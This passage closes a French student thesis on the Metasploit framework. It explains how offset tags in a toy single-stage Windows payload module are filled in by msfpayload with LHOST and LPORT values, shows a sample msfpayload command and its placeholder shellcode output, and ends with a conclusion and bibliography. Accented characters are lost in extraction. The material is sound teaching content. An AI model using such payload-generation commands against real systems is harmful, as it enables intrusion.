On a ici les offets tags, dont il faut souligner limportance : ces tags pemettent lauteur des changer les variables lintrieur du shellcode. Dans lexemple ci-dessus onvoit que le shellcode est remplis de 0xaa, et ce pour dmontrer cette fonctionnalit. Sion lance msfpayload en configurant le LHOST par exemple, laddresse dbutant loctect
15 sera remplace par laddresse en hexadcimal que lon aura mise dans LHOST. Si on neconfigue pas les champs LPORT et EXITFUNC, les addresses dbutants aux octects 0 et 30seront remplies avec les valeurs par dfault.
Payload =>
"\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" +
"\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" +
"\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
}
))
end end end end end end
Une fois que lon obtient une fois ce payload mis en place et quand on utilise msfpay-load :
windows/exemple Exemple de comment ajouter un single payload
Ce payload debute par les dclarations standards et la place des modules pour lesdpendance. Le nom du module est Exemple. Aprs le nom du module, on dclare lesWindows et single-stages shellcode que lon pourras utiliser. Puis vient le bloc dintiali-sation standard.
# msfpayload windows/exemple LHOST=10.0.0.1 C
/*
* windows/exemple - 39 bytes* http://www.metasploit.com
* EXITFUNC=seh, LPORT=4444
*/
unsigned char buf[] =
"\x11\x5c\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
"\x0a\x00\x00\x01\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
"\xf0\x8a\x04\x5f\xaa\xaa\xaa\xaa\xaa";
On voit alors, comme annonc, que les deux premiers octects ont comme valeur0x115c ce qui vaut 4444, et que laddresse qui commence loctet 15 est remplace
par 0x0a 0x00 0x00 0x01, ce qui signifie 10.0.0.1.
22
-
8/4/2019 Martin Pauliat Pelletier Memoire
24/25
Chapitre 5
Conclusion
Ce document touche dsormais sa fin. Nous esprons, au travers de ces quelquespages, avoir russi vous intressez cet outil quest Metasploit.
Les notions entrevues lors des diffrents exemples de ce rapport ... Lancement dun exploit
Dissection dun exploit Cration dun module... Vous permettrons de vous attaquer des sujets bien plus complexes dans le
domaine des exploits et des payloads.
Si laventure vous tente, sachez que vous pourrez trouver sur internet une vritablebibliothque des publications concernant Metasploit ou le monde des exploits. Nousmettons votre disposition une liste non exhaustive des livres, articles ou sites web dansla partie bibliographie de ce rapport. Celle-ci est suppose reprsentative mais rien nousvous oblige vous y restreindre.
Nous tenons aussi rappeler que Metasploit a t cr avant tout pour tester larsistance des systmes face aux tentatives dintrusions. Il est donc interdit dutiliserMetasploit des fins malveillantes, mais comme dirai lautre : "Il est interdit dinterdire".
23
-
8/4/2019 Martin Pauliat Pelletier Memoire
25/25
Bibliographie
[1] D. Maynor and KK Mookhey. Metasploit Toolkit for Penetration Testing, ExploitDevelopment, and Vulnerability Research. Syngress Press, 2007.
[2] Staff Metasploit. Metasploit 3.0 Developers Guide. http://www.metasploit.com/documents/developers_guide.pdf.
[3] Pukhraj Singh and K.K. Mookhey. Metasploit Framework. https://www.securinfos.info/jerome/DOC/Metasploit1_FR.pdf.
[4] Staff. Site officiel de Metasploit. http://www.metasploit.com.
[5] Staff. Blog officiel de Metasploit. http://blog.metasploit.com/.
24